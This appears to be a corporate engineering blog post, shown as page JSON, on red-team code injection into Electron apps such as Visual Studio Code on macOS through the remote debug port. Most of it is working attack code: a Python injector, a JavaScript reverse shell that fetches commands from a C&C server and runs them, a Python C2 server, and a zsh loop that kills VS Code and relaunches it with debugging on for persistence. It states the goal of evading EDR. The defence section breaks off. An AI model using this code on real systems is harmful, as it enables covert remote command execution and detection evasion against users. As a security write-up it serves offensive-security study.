[{"data":1,"prerenderedAt":770},["ShallowReactive",2],{"nav_featured_podcast":3,"nav_featured_press_release":21,"navigation_content":30,"engineering_blog_post:electron-injection":378},{"uid":4,"title":5,"episodeLabel":6,"dateLabel":7,"episodeArt":8,"href":20},"from-payment-rails-to-connectivity","From Payment Rails to Connectivity, with The Clearing House's David Watson","EPISODE 5","August 18, 2026",{"dimensions":9,"alt":12,"copyright":13,"url":14,"id":15,"edit":16},{"width":10,"height":11},1064,652,"Payments Cannot Fail — Episode 05 with David Watson",null,"\u002F_prismic-media\u002Fd80df2e47c3ecb6f-cFcyPAgzKCMQEaND_Episode-05-David.jpg","cFcyPAgzKCMQEaND",{"x":17,"y":17,"zoom":18,"background":19},0,1,"transparent","\u002Fresources\u002Fpodcasts\u002Ffrom-payment-rails-to-connectivity",{"uid":22,"title":23,"tag":24,"dateLabel":25,"imageUrl":26,"imageAlt":27,"href":28,"imageFit":29},"form3-expands-strategic-partnership-with-sumup","Form3 expands strategic partnership with SumUp to bring real-time SEPA payments to millions of European small businesses","EU","February 25, 2026","\u002F_prismic-media\u002F3e91177f91478610-QA44Gzev0_tdg3ZI_SumUp.jpg","sumup","\u002Fresources\u002Fpress-releases\u002Fform3-expands-strategic-partnership-with-sumup","cover",{"header":31,"platform":59,"solutions":91,"developers":133,"company":155,"resources":184,"partnerships":208,"footer":220,"mobile":325},{"ctaLabel":32,"ctaHref":33,"topNav":34},"TALK TO OUR TEAM","\u002Fcontact",[35,39,43,47,51,55],{"label":36,"href":37,"key":38},"Platform","\u002Fplatform","platform",{"label":40,"href":41,"key":42},"Solutions","\u002Fsolutions","solutions",{"label":44,"href":45,"key":46},"Developers","\u002Fdevelopers","developers",{"label":48,"href":49,"key":50},"Company","\u002Fcompany","company",{"label":52,"href":53,"key":54},"Resources","\u002Fresources","resources",{"label":56,"href":57,"key":58},"Partnerships","\u002Fpartnerships","partnerships",{"sectionEyebrow":60,"primary":61,"productLinks":65,"enterprise":81,"trustFabric":86},"Explore the Platform",{"heading":62,"body":63,"ctaLabel":64,"ctaHref":37},"Our Payments Platform","A resilient, cloud-native platform powering real-time account-to-account payments at global scale.","See How It Works",[66,69,72,75,78],{"label":67,"href":68},"Payments Processing & Gateway","\u002Fpayments-processing-gateway",{"label":70,"href":71},"Orchestration & Intelligent Routing","\u002Forchestration-intelligent-routing",{"label":73,"href":74},"Payments Simulator","\u002Fpayments-simulator",{"label":76,"href":77},"Sponsor Bank Enablement","\u002Fsponsor-bank-enablement",{"label":79,"href":80},"Informed UI","\u002Finformed-ui",{"heading":82,"body":83,"ctaLabel":84,"ctaHref":85},"Form3 Enterprise","Deploy and manage proven cloud-native payments technology in the environment that works for your institution.","Deploy Enterprise","\u002Fplatform\u002Fenterprise",{"heading":87,"body":88,"ctaLabel":89,"ctaHref":90},"Form3 Trust Fabric","Manage TLS certificates, cryptographic vulnerabilities and quantum readiness at scale, with continuous visibility.","Deploy Trust Fabric","\u002Fplatform\u002Ftrust-fabric",{"regionsIntro":92,"regions":98,"industries":118},{"eyebrow":93,"heading":94,"headingLine2":95,"body":96,"ctaLabel":64,"ctaHref":97},"Regions","Global Reach.","Regional Expertise.","A proven payments platform serving organizations worldwide, with specialized experience across North America, United Kingdom, and Europe.","\u002Fglobal",[99,108,113],{"label":100,"description":101,"ctaLabel":102,"href":103,"extraLinks":104},"North America","Real-time infrastructure, through a resilient, multi-cloud platform built for scale and regulatory confidence.","US HOME","\u002Fsolutions\u002Funited-states",[105],{"label":106,"href":107},"CANADA HOME","\u002Fsolutions\u002Fcanada",{"label":109,"description":110,"ctaLabel":111,"href":112},"United Kingdom","Powering account-to-account payments at the heart of the UK financial ecosystem, with proven resilience.","UK HOME","\u002Fsolutions\u002Funited-kingdom",{"label":114,"description":115,"ctaLabel":116,"href":117},"Europe","Enabling secure, real-time and SEPA payments across European markets through a unified, cloud-native platform.","EUROPE HOME","\u002Fsolutions\u002Feurope",{"eyebrow":119,"links":120},"Industries",[121,125,129],{"label":122,"href":123,"iconSrc":124},"Financial Services","\u002Fsolutions\u002Findustries\u002Ffinancial-services","\u002F_prismic-media\u002F29c09c45caa89db9-kbUHZmgTmuIMbo1t_FinancialServices_menu.svg",{"label":126,"href":127,"iconSrc":128},"Fintech","\u002Fsolutions\u002Findustries\u002Ffintech","\u002F_prismic-media\u002F6de3e7cb4dd8d874-SjwNe6Nh-bbuTi0P_Fintech_menu.svg",{"label":130,"href":131,"iconSrc":132},"Government","\u002Fsolutions\u002Findustries\u002Fgovernment","\u002F_prismic-media\u002Fe71bc3a74a1d2142-kaGgdituzKDnVTbm_Government_menu.svg",{"engineering":134,"api":142,"pressEyebrow":154},{"eyebrow":135,"links":136},"Engineering",[137,139],{"label":135,"href":138},"\u002Fengineering",{"label":140,"href":141},"Accreditations","\u002Faccreditations",{"eyebrow":143,"links":144},"API",[145,148,151],{"label":146,"href":147},"API Docs","https:\u002F\u002Fwww.api-docs.form3.tech\u002F",{"label":149,"href":150},"API Tutorials","https:\u002F\u002Fwww.api-docs.form3.tech\u002Fapi\u002Ftutorials\u002Fgetting-started\u002Fintroduction",{"label":152,"href":153},"API Status","https:\u002F\u002Fstatus.form3.tech\u002F","Latest Press Release",{"about":156,"people":171,"podcastEyebrow":183},{"eyebrow":157,"links":158},"About",[159,162,165,168],{"label":160,"href":161},"Our Story","\u002Fcompany\u002Four-story",{"label":163,"href":164},"Our Team","\u002Fcompany\u002Fteam",{"label":166,"href":167},"Our Success & Strategic Approach","\u002Fcompany\u002Four-success",{"label":169,"href":170},"Customer Stories","\u002Fcompany\u002Fcustomer-stories",{"eyebrow":172,"links":173},"People",[174,177,180],{"label":175,"href":176},"Careers","\u002Fcompany\u002Fcareers",{"label":178,"href":179},"Vacancies","\u002Fcompany\u002Fvacancies",{"label":181,"href":182},"Culture","\u002Fcompany\u002Fculture","Latest Podcast",{"intro":185,"links":189,"pressEyebrow":154,"podcastEyebrow":183},{"eyebrow":52,"heading":186,"body":187,"ctaLabel":188,"ctaHref":53},"Form3 Resources","Our Resources bring together thought leadership, engineering insights, payments expertise, webinars, podcasts, whitepapers, company news and stories from our teams—all in one place.","LEARN MORE",[190,193,196,199,202,205],{"label":191,"href":192},"Payments Cannot Fail Podcast","\u002Fresources\u002Fpodcasts",{"label":194,"href":195},"Press Releases","\u002Fresources\u002Fpress-releases",{"label":197,"href":198},"Payment Insights","\u002Fresources\u002Fpayment-insights",{"label":200,"href":201},"Culture Blog","\u002Fresources\u002Fculture-blog",{"label":203,"href":204},"Engineering Blog","\u002Fresources\u002Fengineering-blog",{"label":206,"href":207},"Events","\u002Fevents",{"intro":209,"links":213,"pressEyebrow":154},{"eyebrow":56,"heading":210,"body":211,"ctaLabel":212,"ctaHref":57},"Partner with Form3","Explore how Form3 works with banks, fintechs, cloud providers, technology platforms and system integrators to accelerate payment modernization, strengthen customer offerings and unlock new opportunities for growth.","Let's Partner Together",[214,217],{"label":215,"href":216},"Technical & Ecosystem Partners","\u002Fpartnerships\u002Ftechnical-ecosystem",{"label":218,"href":219},"Channel & Distribution Partners","\u002Fpartnerships\u002Fchannel-distribution",{"platform":221,"region":229,"development":240,"company":248,"resources":259,"partnerships":267,"stayConnected":272,"legalLinks":292,"certifications":314},{"title":36,"links":222},[223,224,225,226,227,228],{"label":62,"href":37},{"label":67,"href":68},{"label":70,"href":71},{"label":73,"href":74},{"label":76,"href":77},{"label":79,"href":80},{"title":230,"links":231},"Region",[232,234,236,237,238],{"label":233,"href":97},"Global",{"label":235,"href":103},"United States",{"label":109,"href":112},{"label":114,"href":117},{"label":239,"href":107},"Canada",{"title":241,"links":242},"Development",[243,244,245,246,247],{"label":135,"href":138},{"label":140,"href":141},{"label":146,"href":147},{"label":149,"href":150},{"label":152,"href":153},{"title":48,"links":249},[250,251,252,253,254,255,256],{"label":160,"href":161},{"label":163,"href":164},{"label":169,"href":170},{"label":175,"href":176},{"label":178,"href":179},{"label":181,"href":182},{"label":257,"href":258},"Net Zero","\u002Fcompany\u002Fnet-zero",{"title":52,"links":260},[261,262,263,264,265,266],{"label":186,"href":53},{"label":191,"href":192},{"label":194,"href":195},{"label":200,"href":201},{"label":203,"href":204},{"label":206,"href":207},{"title":56,"links":268},[269,270,271],{"label":210,"href":57},{"label":215,"href":216},{"label":218,"href":219},{"title":273,"body":274,"ctaLabel":32,"ctaHref":33,"social":275},"Stay Connected","Form3 is a global account-to-account financial fabric delivering a proven payments platform trusted by banks and fintechs to deliver resilient, real-time payment experiences for their customers at scale.",[276,280,284,288],{"label":277,"href":278,"icon":279},"LinkedIn","https:\u002F\u002Fwww.linkedin.com\u002Fcompany\u002Fform3-financial-cloud\u002F","linkedin",{"label":281,"href":282,"icon":283},"X","https:\u002F\u002Fwww.x.com\u002FForm3Cloud","x",{"label":285,"href":286,"icon":287},"YouTube","https:\u002F\u002Fwww.youtube.com\u002F@Form3Cloud","youtube",{"label":289,"href":290,"icon":291},"Instagram","https:\u002F\u002Fwww.instagram.com\u002Fform3.tech","instagram",[293,296,299,302,305,308,311],{"label":294,"href":295},"Terms & Conditions","\u002Flegal\u002Fterms-and-conditions",{"label":297,"href":298},"Privacy Policy","\u002Flegal\u002Fdata-privacy-statement",{"label":300,"href":301},"Recruitment Data Policy","\u002Flegal\u002Frecruitment-data-policy",{"label":303,"href":304},"Modern Slavery Statement","\u002Flegal\u002Fmodern-slavery",{"label":306,"href":307},"License","\u002Flegal\u002Flicense",{"label":309,"href":310},"Cookie Policy","\u002Flegal\u002Fcookie-policy",{"label":312,"href":313},"Manage Cookies","#cookies",[315,317,319,321,323],{"label":316},"ISO 27001",{"label":318},"ISO 27017",{"label":320},"ISO 27018",{"label":322},"ISAE 3000 SOC 2 Type II",{"label":324},"ISO 22301",{"platform":326,"solutions":341,"developers":355,"company":365,"resources":366,"partnerships":374},[327,329,339,340],{"kind":328,"label":62,"href":37},"link",{"kind":330,"label":60,"children":331},"group",[332,333,334,335,337],{"label":67,"href":68},{"label":70,"href":71},{"label":73,"href":74},{"label":76,"href":336},"\u002Fplatform\u002Fsponsor-bank-enablement",{"label":79,"href":338},"\u002Fplatform\u002Finform3d-ui",{"kind":328,"label":82,"href":85},{"kind":328,"label":87,"href":90},[342,344,350],{"kind":328,"label":233,"href":343},"\u002Fsolutions\u002Fglobal",{"kind":330,"label":93,"children":345},[346,347,348,349],{"label":235,"href":103},{"label":239,"href":107},{"label":109,"href":112},{"label":114,"href":117},{"kind":330,"label":119,"children":351},[352,353,354],{"label":122,"href":123},{"label":126,"href":127},{"label":130,"href":131},[356,360],{"kind":330,"label":135,"children":357},[358,359],{"label":135,"href":138},{"label":140,"href":141},{"kind":330,"label":143,"children":361},[362,363,364],{"label":146,"href":147},{"label":149,"href":150},{"label":152,"href":153},[],[367,368,369,370,371,372,373],{"kind":328,"label":186,"href":53},{"kind":328,"label":191,"href":192},{"kind":328,"label":194,"href":195},{"kind":328,"label":197,"href":198},{"kind":328,"label":200,"href":201},{"kind":328,"label":203,"href":204},{"kind":328,"label":206,"href":207},[375,376,377],{"kind":328,"label":210,"href":57},{"kind":328,"label":215,"href":216},{"kind":328,"label":218,"href":219},{"id":379,"uid":380,"url":381,"type":382,"href":383,"tags":384,"first_publication_date":385,"last_publication_date":386,"slugs":387,"linked_documents":389,"lang":390,"alternate_languages":391,"data":392},"alz04xEAACoAUWbG","electron-injection","\u002Fresources\u002Fengineering-blog\u002Felectron-injection","engineering_blog_post","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apnMZxEAACcAKWxv&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz04xEAACoAUWbG%22%29+%5D%5D",[],"2026-07-19T16:21:57+0000","2026-08-27T02:06:58+0000",[388],"electron-debugging-basics",[],"en-us",[],{"title":393,"excerpt":394,"card_image":395,"published_date":401,"reading_time":402,"tag":403,"dek":394,"featured_image":404,"about_form3":411,"client_about_heading":13,"client_about_body":412,"author_name":413,"author_title":414,"author_photo":415,"author_bio":423,"author_linkedin":428,"slices":433,"meta_title":393,"meta_description":394},"Adventures into Electron code injection on MacOS","Process injection in MacOS is a difficult topic: it is well controlled and there are simply no API calls that provide any useful interface for it. As it is a feature that rarely has legitimate use cases, it makes sense from a security perspective to disable it entirely, or at least heavily restrict it under normal user conditions. However, as a red teamer, it is difficult to move from the freedom of process hollowing and remote threads on Windows, to the harsh reality of the MacOS hardened runtime. This is true especially when trying to create hidden C2 channels and evade detection from EDR and XDR software. There is one technique, however, that does not get the recognition it deserves, most probably because it can only target Electron based applications. While this sounds like a big limitation, there are popular applications that can be targeted and are more than likely to be present on the target system such as Slack, Visual Studio Code and Microsoft Teams to only name a few. These applications can all be a target of code injection by abusing Electron's built in remote debug interface.",{"dimensions":396,"alt":393,"copyright":13,"url":398,"id":399,"edit":400},{"width":397,"height":397},800,"\u002F_prismic-media\u002Ffb755da4864b9552-hrdDjxzNQn-q4b2-_electron-injection.png","hrdDjxzNQn-q4b2-",{"x":17,"y":17,"zoom":18,"background":19},"2023-01-11",6,"Blogs",{"dimensions":405,"alt":13,"copyright":13,"url":408,"id":409,"edit":410},{"width":406,"height":407},3456,1940,"\u002F_prismic-media\u002F94830a9890b25eb7-lUikGsBZ3rnfJJUa_5a2a99eb-68cb-4041-9a1d-bad17c5.png","lUikGsBZ3rnfJJUa",{"x":17,"y":17,"zoom":18,"background":19},[],[],"Marcell Molnár","Ethical Hacker at FORM3",{"dimensions":416,"alt":413,"copyright":13,"url":419,"id":420,"edit":421},{"width":417,"height":418},317,474,"\u002F_prismic-media\u002F2091efd9a6dd3441-humiYlGiVspjCKKX_f74a982a-1e49-4bf0-9b38-68a8ce9.jpg","humiYlGiVspjCKKX",{"x":17,"y":17,"zoom":18,"background":422},"#ffffff",[424],{"type":425,"text":426,"spans":427},"paragraph","Marcell Molnár is a member of the Offensive Security Team at Form3. He is a regular speaker at local conferences, occasional CTF player and bug bounty hunter. He is enthusiastic about new technologies, but also firmly believes that everything can and should be solved in C.",[],{"link_type":429,"key":430,"url":431,"target":432},"Web","b4f72ccf-f14a-49ab-830b-404cd05b0d1b","https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fmarcell-molnar\u002F","_blank",[434,453,463,471,479,490,517,525,542,550,561,569,579,587,604,612,623,631,642,650,661,680,688,707,718,726],{"variation":435,"version":436,"items":437,"primary":438,"id":451,"slice_type":452,"slice_label":13},"default","initial",[],{"body":439},[440,444],{"type":441,"text":442,"spans":443},"heading2","Electron debugging basics",[],{"type":425,"text":445,"spans":446},"By using command line switches it is possible to enable remote debugging via the Chrome DevTools Protocol. As an example let's start up Visual Studio Code using the --inspect switch, open a terminal and type:",[447],{"start":448,"end":449,"type":450},165,174,"em","rich_text$6a29d8f2-7154-422d-a6c1-4aa67abe8036","rich_text",{"variation":435,"version":436,"items":454,"primary":455,"id":461,"slice_type":462,"slice_label":13},[],{"language_label":13,"code":456},[457],{"type":458,"text":459,"spans":460},"preformatted","\u002FApplications\u002FVisual\\ Studio\\ Code.app\u002FContents\u002FMacOS\u002FElectron --inspect",[],"code_block$57e248f3-883b-4af9-b65b-076e44060db3","code_block",{"variation":435,"version":436,"items":464,"primary":465,"id":470,"slice_type":452,"slice_label":13},[],{"body":466},[467],{"type":425,"text":468,"spans":469},"After starting up the application we can use Chrome to connect to the debug port. Open Chrome and navigate to:",[],"rich_text$cec1776b-0744-4e53-ae2d-eb3cbe2323d1",{"variation":435,"version":436,"items":472,"primary":473,"id":478,"slice_type":462,"slice_label":13},[],{"language_label":13,"code":474},[475],{"type":458,"text":476,"spans":477},"chrome:\u002F\u002Finspect\u002F#devices",[],"code_block$a04e981a-7ac5-459b-8692-9ad7d312d370",{"variation":435,"version":436,"items":480,"primary":481,"id":489,"slice_type":452,"slice_label":13},[],{"body":482},[483,486],{"type":425,"text":484,"spans":485},"Now click \"Open dedicated DevTools for Node\".",[],{"type":425,"text":487,"spans":488},"We are presented with the familiar debug interface, showing our Electron application. Code injection from here is trivial as we can just type into the console some JavaScript code and have it execute in the target process.",[],"rich_text$73304c85-6e42-4697-8948-b06b09763973",{"variation":435,"version":491,"items":492,"primary":493,"id":515,"slice_type":516,"slice_label":13},"",[],{"eyebrow":13,"heading":494,"body":495,"cta_label":13,"cta_link":496,"aside_type":498,"aside_image":499,"aside_video":502,"aside_video_poster":504,"aside_video_reduced_motion":505,"aside_video_url":13,"aside_embed":506,"pardot_form_url":13,"form_submit_label":13,"form_variant":507,"form_heading":13,"redirect_on_success":508,"theme":510,"overlay_pattern":511,"background_continuation":512,"media_position":513,"aside_vertical_align":514},[],[],{"link_type":497},"Any","Image",{"dimensions":500,"alt":13,"copyright":13,"url":408,"id":409,"edit":501},{"width":406,"height":407},{"x":17,"y":17,"zoom":18,"background":19},{"link_type":503},"Media",{},{},{},"Contact (default)",{"link_type":509},"Document","Light","None","Solid color (no gradient)","Right","Top of section","content_block$27402fdc-b946-4203-90b4-1295c4daacbd","content_block",{"variation":435,"version":436,"items":518,"primary":519,"id":524,"slice_type":452,"slice_label":13},[],{"body":520},[521],{"type":425,"text":522,"spans":523},"This is the basis for our technique, we will need to develop some additional tools to make this actually useful in a red team scenario. In this article we are going to look at building an injector for Electron apps, we are going write some shellcode in JavaScript that has basic command line functionality and finally we are going to look at some ways for creating persistence with zsh. Our goal is to have our shellcode execute in the target process, so in the end our C&C traffic originates from a trusted process, thus making it more difficult to detect using EDR.",[],"rich_text$b4777e05-a177-46f6-a860-bdae50096fc4",{"variation":435,"version":436,"items":526,"primary":527,"id":541,"slice_type":452,"slice_label":13},[],{"body":528},[529,532],{"type":441,"text":530,"spans":531},"Building the injector",[],{"type":425,"text":533,"spans":534},"We are going to build a simple injector that uses the PyChromeDevTools library (https:\u002F\u002Fgithub.com\u002Fmarty90\u002FPyChromeDevTools). Let's try the following:",[535],{"start":536,"end":537,"type":538,"data":539},80,123,"hyperlink",{"link_type":429,"url":540},"https:\u002F\u002Fgithub.com\u002Fmarty90\u002FPyChromeDevTools","rich_text$dcb9650e-bd1e-4a2a-9440-459a56b1a1ba",{"variation":435,"version":436,"items":543,"primary":544,"id":549,"slice_type":462,"slice_label":13},[],{"language_label":13,"code":545},[546],{"type":458,"text":547,"spans":548},"pip3 install PyChromeDevTools",[],"code_block$31569e8a-b014-404f-8f72-f20e886ee600",{"variation":435,"version":436,"items":551,"primary":552,"id":560,"slice_type":452,"slice_label":13},[],{"body":553},[554],{"type":425,"text":555,"spans":556},"The contents of the file inject.py is:",[557],{"start":558,"end":559,"type":450},25,34,"rich_text$2694b29a-4d1d-48f6-ace7-abffb3502235",{"variation":435,"version":436,"items":562,"primary":563,"id":568,"slice_type":462,"slice_label":13},[],{"language_label":13,"code":564},[565],{"type":458,"text":566,"spans":567},"import PyChromeDevTools\n\nchrome = PyChromeDevTools.ChromeInterface(port=9229)\n\nshellcode = '''\n  console.log(\"Hacked\");\n'''\n\nchrome.Runtime.enable();\nchrome.Runtime.evaluate(expression=shellcode, contextId=1, includeCommandLineAPI=True)",[],"code_block$37c094c2-66a2-4ec7-a74e-b58be57480c8",{"variation":435,"version":436,"items":570,"primary":571,"id":578,"slice_type":452,"slice_label":13},[],{"body":572},[573],{"type":425,"text":574,"spans":575},"Start visual studio code with the --inspect switch then run the injector:",[576],{"start":559,"end":577,"type":450},43,"rich_text$9e04aa2c-e0f5-46ae-8673-46c359b53236",{"variation":435,"version":436,"items":580,"primary":581,"id":586,"slice_type":462,"slice_label":13},[],{"language_label":13,"code":582},[583],{"type":458,"text":584,"spans":585},"python3 inject.py",[],"code_block$10343a96-2ac5-4179-a8d5-95622a75bf8b",{"variation":435,"version":491,"items":588,"primary":589,"id":603,"slice_type":516,"slice_label":13},[],{"eyebrow":13,"heading":590,"body":591,"cta_label":13,"cta_link":592,"aside_type":498,"aside_image":593,"aside_video":598,"aside_video_poster":599,"aside_video_reduced_motion":600,"aside_video_url":13,"aside_embed":601,"pardot_form_url":13,"form_submit_label":13,"form_variant":507,"form_heading":13,"redirect_on_success":602,"theme":510,"overlay_pattern":511,"background_continuation":512,"media_position":513,"aside_vertical_align":514},[],[],{"link_type":497},{"dimensions":594,"alt":13,"copyright":13,"url":595,"id":596,"edit":597},{"width":406,"height":407},"\u002F_prismic-media\u002F95eb4dc2b1b53fb3-TfbKodelnxO5l-W2_405801b6-d724-417b-8de2-c090799.png","TfbKodelnxO5l-W2",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":503},{},{},{},{"link_type":509},"content_block$51f27418-d333-42d2-95cf-727968e79c25",{"variation":435,"version":436,"items":605,"primary":606,"id":611,"slice_type":452,"slice_label":13},[],{"body":607},[608],{"type":425,"text":609,"spans":610},"Awesome, we have successfully injected JavaScript code into Visual Studio Code using Python. Now let's try to inject something a bit more useful.",[],"rich_text$aea402a6-13a8-4bdd-bdf6-07c07da1da39",{"variation":435,"version":436,"items":613,"primary":614,"id":622,"slice_type":452,"slice_label":13},[],{"body":615},[616,619],{"type":441,"text":617,"spans":618},"Building the shellcode",[],{"type":425,"text":620,"spans":621},"Shellcode can come in many different shapes and sizes, this one uses basic Node.js functions to query a C&C server for commands then posts the results back. We are not using any encryption, this is a vanilla reverse shell, but it uses HTTP which makes it stand out a bit less than using port 1337 when looking at network traffic. Adding HTTPS should be trivial, but would require a bit more configuration on the server side.",[],"rich_text$83c52a4a-5f1c-46d6-9c83-4c346f771824",{"variation":435,"version":436,"items":624,"primary":625,"id":630,"slice_type":462,"slice_label":13},[],{"language_label":13,"code":626},[627],{"type":458,"text":628,"spans":629},"\u002F\u002Fadd your C&C host here\nvar shellUrl = '127.0.0.1'\n\u002F\u002Fdebug purposes, if you want to kill the shell in a running VS instance pass var runShell = false in console\nvar runShell = true;\n\n\u002F\u002FHTTP POST for submitting command output\nfunction shellSendResult(result, require){\n  var http = require('http');\n\n  var options = {\n    host: shellUrl,\n    path: '\u002F',\n    method: 'POST',\n    headers: {\n      'Content-Type': 'text\u002Fhtml',\n      'Content-Length': Buffer.byteLength(result),\n    },\n  };\n\n  callback = function(response) {\n    var str = ''\n    response.on('data', function (chunk) {\n      str += chunk;\n    });\n\n    response.on('end', function () {\n      console.log(str);\n    });\n  }\n\n  var req = http.request(options, callback);\n  req.write(result);\n  req.end();\n}\n\n\u002F\u002FHTTP GET for getting commands from the server\nfunction shellGetCommand(require){\n  console.log(\"Checking in\");\n  var http = require('http');\n  \n  var options = {\n    host: shellUrl,\n    path: '\u002F'  \n  };        \n \n  callback = function(response) {\n    var str = '';\n\n    response.on('data', function (chunk) {\n      str += chunk;\n    });\n \n    response.on('end', function () {\n      console.log(str);\n      const { exec } = require('node:child_process');\n      if (str !== \"#\") {\n        exec(str, (error, stdout, stderr) => {\n          console.log(stdout + \" \" + stderr);\n          shellSendResult(stdout + \" \" + stderr, require);\n        });\n      }\n    });\n  }\n\n  http.request(options, callback).end();\n}\n\n\u002F\u002Fawkward way of sleeping in JavaScript\nfunction resolveAfter2Seconds() {\n  return new Promise(resolve => {\n    setTimeout(() => {\n      resolve('resolved');\n    }, 2000);\n  });\n}\n\n\u002F\u002Fasync function for creating a loop with delay\nasync function shellAsyncCall(require) {\n  while(runShell){\n    const result = await resolveAfter2Seconds();\n    shellGetCommand(require)\n  }\n}\n\nshellAsyncCall(require);",[],"code_block$9b47042d-2499-4a31-a4c7-7c540e361e3b",{"variation":435,"version":436,"items":632,"primary":633,"id":641,"slice_type":452,"slice_label":13},[],{"body":634},[635,638],{"type":441,"text":636,"spans":637},"Building a C2 server",[],{"type":425,"text":639,"spans":640},"This is a very (very) basic Python C2 server to use with our shellcode, it uses a custom HTTP handler for sending the commands and receiving output.",[],"rich_text$d6e14c95-7f5a-420b-b6f4-fefb67985203",{"variation":435,"version":436,"items":643,"primary":644,"id":649,"slice_type":462,"slice_label":13},[],{"language_label":13,"code":645},[646],{"type":458,"text":647,"spans":648},"#!\u002Fusr\u002Fbin\u002Fpython3\n\nimport warnings\nimport time\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nimport threading\n\n#IP address to listen on\nhostName = \"0.0.0.0\"\n#Port\nserverPort = 80\ncmd = \"#\"\n\nclass MyServer(BaseHTTPRequestHandler):\n\n    def do_GET(self):\n        global cmd\n        self.send_response(200)\n        self.send_header(\"Content-type\", \"text\u002Fhtml; charset=utf-8\")\n        self.end_headers()\n        self.wfile.write(bytes(cmd, \"utf-8\"))\n        cmd = \"#\"\n\n    def do_POST(self):\n        if True:\n            self.send_response(200)\n            self.send_header(\"Content-type\", \"text\u002Fhtml; charset=utf-8\")\n            self.end_headers()\n            content = self.rfile.read(int(self.headers[\"content-length\"]))\n            try:\n                content = content.decode('ascii')\n                print(content)\n            except:\n                print(\"Error parsing response.\")    \n\n            self.wfile.write(bytes(\"\", \"utf-8\"))\n    def log_message(self, format, *args):\n        return\n\ndef cmdFunc():\n    global cmd\n    while True:\n        cmd = input(\"\")\n\nif __name__ == \"__main__\":        \n    webServer = HTTPServer((hostName, serverPort), MyServer)\n\n    print(\"Server started http:\u002F\u002F%s:%s\" % (hostName, serverPort))\n\n    try:\n        th = threading.Thread(target=cmdFunc)\n        th.start()\n        webServer.serve_forever()\n    except KeyboardInterrupt:\n        pass\n    th.join()\n    webServer.server_close()\n    print(\"Server stopped.\")",[],"code_block$6809f5d2-2f1a-4f5c-9cac-3fac22970189",{"variation":435,"version":436,"items":651,"primary":652,"id":660,"slice_type":452,"slice_label":13},[],{"body":653},[654,657],{"type":441,"text":655,"spans":656},"Putting it together",[],{"type":425,"text":658,"spans":659},"Let's run our C2 server, set our host and port in the injector and run the script. When we type a command we should get our result with a slight delay.",[],"rich_text$e22af7c0-4944-47a0-a098-83def6725ea8",{"variation":435,"version":491,"items":662,"primary":663,"id":679,"slice_type":516,"slice_label":13},[],{"eyebrow":13,"heading":664,"body":665,"cta_label":13,"cta_link":666,"aside_type":498,"aside_image":667,"aside_video":674,"aside_video_poster":675,"aside_video_reduced_motion":676,"aside_video_url":13,"aside_embed":677,"pardot_form_url":13,"form_submit_label":13,"form_variant":507,"form_heading":13,"redirect_on_success":678,"theme":510,"overlay_pattern":511,"background_continuation":512,"media_position":513,"aside_vertical_align":514},[],[],{"link_type":497},{"dimensions":668,"alt":13,"copyright":13,"url":671,"id":672,"edit":673},{"width":669,"height":670},1870,148,"\u002F_prismic-media\u002F0f68e7784c095385-0Nl0vj_CKkcaXU25_2142f940-edca-4230-9bff-5ab6b70.png","0Nl0vj_CKkcaXU25",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":503},{},{},{},{"link_type":509},"content_block$17cff7c1-2eb1-471a-a73f-c5ff205f66d9",{"variation":435,"version":436,"items":681,"primary":682,"id":687,"slice_type":452,"slice_label":13},[],{"body":683},[684],{"type":425,"text":685,"spans":686},"We can check the electron console for our command logged by the shellcode.",[],"rich_text$c7825f70-b006-439b-a6b5-4e1f96694c10",{"variation":435,"version":491,"items":689,"primary":690,"id":706,"slice_type":516,"slice_label":13},[],{"eyebrow":13,"heading":691,"body":692,"cta_label":13,"cta_link":693,"aside_type":498,"aside_image":694,"aside_video":701,"aside_video_poster":702,"aside_video_reduced_motion":703,"aside_video_url":13,"aside_embed":704,"pardot_form_url":13,"form_submit_label":13,"form_variant":507,"form_heading":13,"redirect_on_success":705,"theme":510,"overlay_pattern":511,"background_continuation":512,"media_position":513,"aside_vertical_align":514},[],[],{"link_type":497},{"dimensions":695,"alt":13,"copyright":13,"url":698,"id":699,"edit":700},{"width":696,"height":697},2568,392,"\u002F_prismic-media\u002Fe08aaa79811bca59-W7xdZz9Xs2guPujv_abe145cb-e4d3-4f9f-b59e-e79a245.png","W7xdZz9Xs2guPujv",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":503},{},{},{},{"link_type":509},"content_block$9aeb1018-eaff-47f9-923f-9f929f4401bb",{"variation":435,"version":436,"items":708,"primary":709,"id":717,"slice_type":452,"slice_label":13},[],{"body":710},[711,714],{"type":441,"text":712,"spans":713},"Creating persistence",[],{"type":425,"text":715,"spans":716},"This is tricky, we can't just spawn a new instance of Visual Studio Code with debug enabled as the user would probably get suspicious and close it anyway. We have to wait for the user to open VS code and then inject into it. But how do we get the user to start VS Code with debugging enabled? One seemingly stupid but surprisingly effective solution is to create a sort of listener in bash, wait for a VS Code Process to spawn, kill it immediately and replace it with our own that runs with debugging enabled. This may seem like a lot of hassle, but if we are trying to hide our C2 communication in another process this is actually a great way of doing it. We will of course have to rely on the time window while the user keeps the application open, but let's face it, when was the last time we spent less than an hour in VS Code (provided we use it:)).",[],"rich_text$ee786790-c0e5-4e25-a536-268fe074b1c3",{"variation":435,"version":436,"items":719,"primary":720,"id":725,"slice_type":462,"slice_label":13},[],{"language_label":13,"code":721},[722],{"type":458,"text":723,"spans":724},"#!\u002Fbin\u002Fzsh\n\nwhile :\ndo\n      PID=$(ps uax | grep Visual | grep Electron | grep MacOS | grep -v inspect | cut -d \" \" -f 5)\n\n      if ! test -z \"$PID\"\n      then\n            echo \"Killing \\$PID\"\n            kill -9 $PID\n            \u002FApplications\u002FVisual\\ Studio\\ Code.app\u002FContents\u002FMacOS\u002FElectron --inspect &\n      else\n            sleep 1\n      fi\ndone",[],"code_block$c9569579-5ef1-4afc-9f72-3e02e23f6d0e",{"variation":435,"version":436,"items":727,"primary":728,"id":769,"slice_type":452,"slice_label":13},[],{"body":729},[730,733,740,743,749,754,759,764],{"type":441,"text":731,"spans":732},"Defence and detection",[],{"type":425,"text":734,"spans":735},"The bad news is, currently there is no official way of disabling this feature in Electron apps. The reason for this can be traced back to the Chromium threat model 